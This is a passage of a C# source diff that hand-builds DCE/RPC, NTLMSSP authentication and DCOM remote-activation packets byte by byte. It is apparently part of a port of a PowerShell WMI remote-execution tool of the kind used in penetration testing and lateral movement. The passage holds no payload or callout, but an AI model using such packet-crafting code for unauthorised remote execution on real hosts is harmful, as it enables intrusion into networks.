packet_RPCBind.Add("RPCBind_CallingWorkstationDomain", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationName", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_OSVersion", new byte[] { 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f }); + } + + if (packet_call_ID == 3) + { + packet_RPCBind.Add("RPCBind_AuthType", new byte[] { 0x0a }); + packet_RPCBind.Add("RPCBind_AuthLevel", new byte[] { 0x02 }); + packet_RPCBind.Add("RPCBind_AuthPadLength", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_AuthReserved", new byte[] { 0x00 }); + packet_RPCBind.Add("RPCBind_ContextID3", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_Identifier", new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }); + packet_RPCBind.Add("RPCBind_MessageType", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_NegotiateFlags", new byte[] { 0x97, 0x82, 0x08, 0xe2 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationDomain", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_CallingWorkstationName", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_RPCBind.Add("RPCBind_OSVersion", new byte[] { 0x06, 0x01, 0xb1, 0x1d, 0x00, 0x00, 0x00, 0x0f }); + } + + return packet_RPCBind; + } + public static OrderedDictionary RPCAuth3(byte[] packet_NTLMSSP) + { + //4 extra bytes? + byte[] packet_NTLMSSP_length = BitConverter.GetBytes(packet_NTLMSSP.Length); + packet_NTLMSSP_length = new byte[] { packet_NTLMSSP_length[0], packet_NTLMSSP_length[1] }; + + byte[] packet_RPC_length = BitConverter.GetBytes(packet_NTLMSSP.Length + 28); + packet_RPC_length = new byte[] { packet_RPC_length[0], packet_RPC_length[1] }; + + + OrderedDictionary packet_RPCAuth3 = new OrderedDictionary(); + packet_RPCAuth3.Add("RPCAUTH3_Version", new byte[] { 0x05 }); + packet_RPCAuth3.Add("RPCAUTH3_VersionMinor", new byte[] { 0x00 }); + packet_RPCAuth3.Add("RPCAUTH3_PacketType", new byte[] { 0x10 }); + packet_RPCAuth3.Add("RPCAUTH3_PacketFlags", new byte[] { 0x03 }); + packet_RPCAuth3.Add("RPCAUTH3_DataRepresentation", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_RPCAuth3.Add("RPCAUTH3_FragLength", packet_RPC_length); + packet_RPCAuth3.Add("RPCAUTH3_AuthLength", packet_NTLMSSP_length); + packet_RPCAuth3.Add("RPCAUTH3_CallID", new byte[] { 0x03, 0x00, 0x00, 0x00 }); + packet_RPCAuth3.Add("RPCAUTH3_MaxXmitFrag", new byte[] { 0xd0, 0x16 }); + packet_RPCAuth3.Add("RPCAUTH3_MaxRecvFrag", new byte[] { 0xd0, 0x16 }); + packet_RPCAuth3.Add("RPCAUTH3_AuthType", new byte[] { 0x0a }); + packet_RPCAuth3.Add("RPCAUTH3_AuthLevel", new byte[] { 0x02 }); + packet_RPCAuth3.Add("RPCAUTH3_AuthPadLength", new byte[] { 0x00 }); + packet_RPCAuth3.Add("RPCAUTH3_AuthReserved", new byte[] { 0x00 }); + packet_RPCAuth3.Add("RPCAUTH3_ContextID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_RPCAuth3.Add("RPCAUTH3_NTLMSSP", packet_NTLMSSP); + + return packet_RPCAuth3; + } + public static OrderedDictionary RPCRequest(byte[] packet_flags, int packet_service_length, int packet_auth_length, int packet_auth_padding, byte[] packet_call_ID, byte[] packet_context_ID, byte[] packet_opnum, byte[] packet_data) + { + int packet_full_auth_length; + byte[] packet_write_length; + byte[] packet_alloc_hint; + if (packet_auth_length > 0) + { + packet_full_auth_length = packet_auth_length + packet_auth_padding + 8; + } + else + { + packet_full_auth_length = 0; + } + + + if (packet_data != null) + { + packet_write_length = BitConverter.GetBytes(packet_service_length + 24 + packet_full_auth_length + packet_data.Length); + packet_alloc_hint = BitConverter.GetBytes(packet_service_length + packet_data.Length); + } + else + { + //Doing this because sometimes he calls it with 7 params instead of 8, which Powershell outputs the length to 0. + packet_write_length = BitConverter.GetBytes(packet_service_length + 24 + packet_full_auth_length); + packet_alloc_hint = BitConverter.GetBytes(packet_service_length); + + } + + byte[] packet_frag_length = { packet_write_length[0], packet_write_length[1] }; + byte[] packet_auth_length2 = BitConverter.GetBytes(packet_auth_length); + byte[] packet_auth_length3 = { packet_auth_length2[0], packet_auth_length2[1] }; + + OrderedDictionary packet_RPCRequest = new OrderedDictionary(); + packet_RPCRequest.Add("RPCRequest_Version", new byte[] { 0x05 }); + packet_RPCRequest.Add("RPCRequest_VersionMinor", new byte[] { 0x00 }); + packet_RPCRequest.Add("RPCRequest_PacketType", new byte[] { 0x00 }); + packet_RPCRequest.Add("RPCRequest_PacketFlags", packet_flags); + packet_RPCRequest.Add("RPCRequest_DataRepresentation", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_RPCRequest.Add("RPCRequest_FragLength", packet_frag_length); + packet_RPCRequest.Add("RPCRequest_AuthLength", packet_auth_length3); + packet_RPCRequest.Add("RPCRequest_CallID", packet_call_ID); + packet_RPCRequest.Add("RPCRequest_AllocHint", packet_alloc_hint); + packet_RPCRequest.Add("RPCRequest_ContextID", packet_context_ID); + packet_RPCRequest.Add("RPCRequest_Opnum", packet_opnum); + + if (packet_data != null && packet_data.Length > 0) + { + packet_RPCRequest.Add("RPCRequest_Data", packet_data); + } + + return packet_RPCRequest; + + } + public static OrderedDictionary RPCAlterContext(byte[] packet_assoc_group, byte[] packet_call_ID, byte[] packet_context_ID, byte[] packet_interface_UUID) + { + OrderedDictionary packet_RPCAlterContext = new OrderedDictionary(); + packet_RPCAlterContext.Add("RPCAlterContext_Version", new byte[] { 0x05 }); + packet_RPCAlterContext.Add("RPCAlterContext_VersionMinor", new byte[] { 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_PacketType", new byte[] { 0x0e }); + packet_RPCAlterContext.Add("RPCAlterContext_PacketFlags", new byte[] { 0x03 }); + packet_RPCAlterContext.Add("RPCAlterContext_DataRepresentation", new byte[] { 0x10, 0x00, 0x00, 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_FragLength", new byte[] { 0x48, 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_AuthLength", new byte[] { 0x00, 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_CallID", packet_call_ID); + packet_RPCAlterContext.Add("RPCAlterContext_MaxXmitFrag", new byte[] { 0xd0, 0x16 }); + packet_RPCAlterContext.Add("RPCAlterContext_MaxRecvFrag", new byte[] { 0xd0, 0x16 }); + packet_RPCAlterContext.Add("RPCAlterContext_AssocGroup", packet_assoc_group); + packet_RPCAlterContext.Add("RPCAlterContext_NumCtxItems", new byte[] { 0x01 }); + packet_RPCAlterContext.Add("RPCAlterContext_Unknown", new byte[] { 0x00, 0x00, 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_ContextID", packet_context_ID); + packet_RPCAlterContext.Add("RPCAlterContext_NumTransItems", new byte[] { 0x01 }); + packet_RPCAlterContext.Add("RPCAlterContext_Unknown2", new byte[] { 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_Interface", packet_interface_UUID); + packet_RPCAlterContext.Add("RPCAlterContext_InterfaceVer", new byte[] { 0x00, 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_InterfaceVerMinor", new byte[] { 0x00, 0x00 }); + packet_RPCAlterContext.Add("RPCAlterContext_TransferSyntax", new byte[] { 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60 }); + packet_RPCAlterContext.Add("RPCAlterContext_TransferSyntaxVer", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + + packet_RPCAlterContext.Add("", new byte[] { }); + + return packet_RPCAlterContext; + } + public static OrderedDictionary NTLMSSPVerifier(int packet_auth_padding, byte[] packet_auth_level, byte[] packet_sequence_number) + { + OrderedDictionary packet_NTLMSSPVerifier = new OrderedDictionary(); + byte[] packet_auth_pad_length = null; + + if (packet_auth_padding == 4) + { + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_auth_pad_length = new byte[] { 0x04 }; + } + else if (packet_auth_padding == 8) + { + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_auth_pad_length = new byte[] { 0x08 }; + } + else if (packet_auth_padding == 12) + { + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadding", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_auth_pad_length = new byte[] { 0x0c }; + } + else + { + packet_auth_pad_length = new byte[] { 0x00 }; + } + + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthType", new byte[] { 0x0a }); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthLevel", packet_auth_level); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthPadLen", packet_auth_pad_length); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_AuthReserved", new byte[] { 0x00 }); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_ContextID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierVersionNumber", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierChecksum", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_NTLMSSPVerifier.Add("NTLMSSPVerifier_NTLMSSPVerifierSequenceNumber", packet_sequence_number); + + return packet_NTLMSSPVerifier; + } + public static OrderedDictionary DCOMRemQueryInterface(byte[] packet_causality_ID, byte[] packet_IPID, byte[] packet_IID) + { + OrderedDictionary packet_DCOMRemQueryInterface = new OrderedDictionary(); + + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_VersionMajor", new byte[] { 0x05, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_VersionMinor", new byte[] { 0x07, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Flags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Reserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_CausalityID", packet_causality_ID); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Reserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IPID", packet_IPID); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Refs", new byte[] { 0x05, 0x00, 0x00, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_IIDs", new byte[] { 0x01, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_Unknown", new byte[] { 0x00, 0x00, 0x01, 0x00, 0x00, 0x00 }); + packet_DCOMRemQueryInterface.Add("DCOMRemQueryInterface_", packet_IID); + + return packet_DCOMRemQueryInterface; + } + public static OrderedDictionary DCOMRemRelease(byte[] packet_causality_ID, byte[] packet_IPID, byte[] packet_IPID2) + { + OrderedDictionary packet_DCOMRemRelease = new OrderedDictionary(); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_VersionMajor", new byte[] { 0x05, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_VersionMinor", new byte[] { 0x07, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_Flags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_Reserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_CausalityID", packet_causality_ID); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_Reserved2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_Unknown", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_InterfaceRefs", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_IPID", packet_IPID); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_PublicRefs", new byte[] { 0x05, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_PrivateRefs", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_packet_IPID2", packet_IPID2); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_PublicRefs2", new byte[] { 0x05, 0x00, 0x00, 0x00 }); + packet_DCOMRemRelease.Add("packet_DCOMRemRelease_PrivateRefs2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + return packet_DCOMRemRelease; + } + public static OrderedDictionary DCOMRemoteCreateInstance(byte[] packet_causality_ID, string packet_target) + { + + byte[] packet_target_unicode = Encoding.Unicode.GetBytes(packet_target); + byte[] packet_target_length = BitConverter.GetBytes(packet_target.Length + 1); + double bytesize = (Math.Truncate((double)packet_target_unicode.Length / 8 + 1) * 8) - packet_target_unicode.Length; + packet_target_unicode = packet_target_unicode.Concat(new byte[Convert.ToInt32(bytesize)]).ToArray(); + byte[] packet_cntdata = BitConverter.GetBytes(packet_target_unicode.Length + 720); + byte[] packet_size = BitConverter.GetBytes(packet_target_unicode.Length + 680); + byte[] packet_total_size = BitConverter.GetBytes(packet_target_unicode.Length + 664); + byte[] packet_private_header = BitConverter.GetBytes(packet_target_unicode.Length + 40).Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }).ToArray(); + byte[] packet_property_data_size = BitConverter.GetBytes(packet_target_unicode.Length + 56); + + OrderedDictionary packet_DCOMRemoteCreateInstance = new OrderedDictionary(); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMVersionMajor", new byte[] { 0x05, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMVersionMinor", new byte[] { 0x07, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMFlags", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMReserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_DCOMCausalityID", packet_causality_ID); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown2", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown3", new byte[] { 0x00, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_Unknown4", packet_cntdata); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCntData", packet_cntdata); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFSignature", new byte[] { 0x4d, 0x45, 0x4f, 0x57 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFFlags", new byte[] { 0x04, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesOBJREFIID", new byte[] { 0xa2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFCLSID", new byte[] { 0x38, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFCBExtension", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFSize", packet_size); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesTotalSize", packet_total_size); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesReserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderPrivateHeader", new byte[] { 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderTotalSize", packet_total_size); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderCustomHeaderSize", new byte[] { 0xc0, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesCustomHeaderReserved", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesDestinationContext", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesNumActivationPropertyStructs", new byte[] { 0x06, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsInfoClsid", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrReferentID", new byte[] { 0x00, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrReferentID", new byte[] { 0x04, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesNULLPointer", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrMaxCount", new byte[] { 0x06, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid", new byte[] { 0xb9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid2", new byte[] { 0xab, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid3", new byte[] { 0xa5, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid4", new byte[] { 0xa6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid5", new byte[] { 0xa4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid6", new byte[] { 0xaa, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrMaxCount", new byte[] { 0x06, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize", new byte[] { 0x68, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize2", new byte[] { 0x58, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize3", new byte[] { 0x90, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize4", packet_property_data_size); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize5", new byte[] { 0x20, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize6", new byte[] { 0x30, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPrivateHeader", new byte[] { 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesSessionID", new byte[] { 0xff, 0xff, 0xff, 0xff }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesRemoteThisSessionID", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesClientImpersonating", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionIDPresent", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesDefaultAuthnLevel", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionGuid", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesProcessRequestFlags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesOriginalClassContext", new byte[] { 0x14, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesFlags", new byte[] { 0x02, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesReserved", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesUnusedBuffer", new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoCommonHeader", new byte[] { 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoPrivateHeader", new byte[] { 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiatedObjectClsId", new byte[] { 0x5e, 0xf0, 0xc3, 0x8b, 0x6b, 0xd8, 0xd0, 0x11, 0xa0, 0x75, 0x00, 0xc0, 0x4f, 0xb6, 0x88, 0x20 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoClassContext", new byte[] { 0x14, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoActivationFlags", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoFlagsSurrogate", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInterfaceIdCount", new byte[] { 0x01, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiationFlag", new byte[] { 0x00, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtr", new byte[] { 0x00, 0x00, 0x02, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationEntirePropertySize", new byte[] { 0x58, 0x00, 0x00, 0x00 }); + packet_DCOMRemoteCreateInstance.Add("DCOMRemoteCreateInstance_IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMajor", new byte[] { 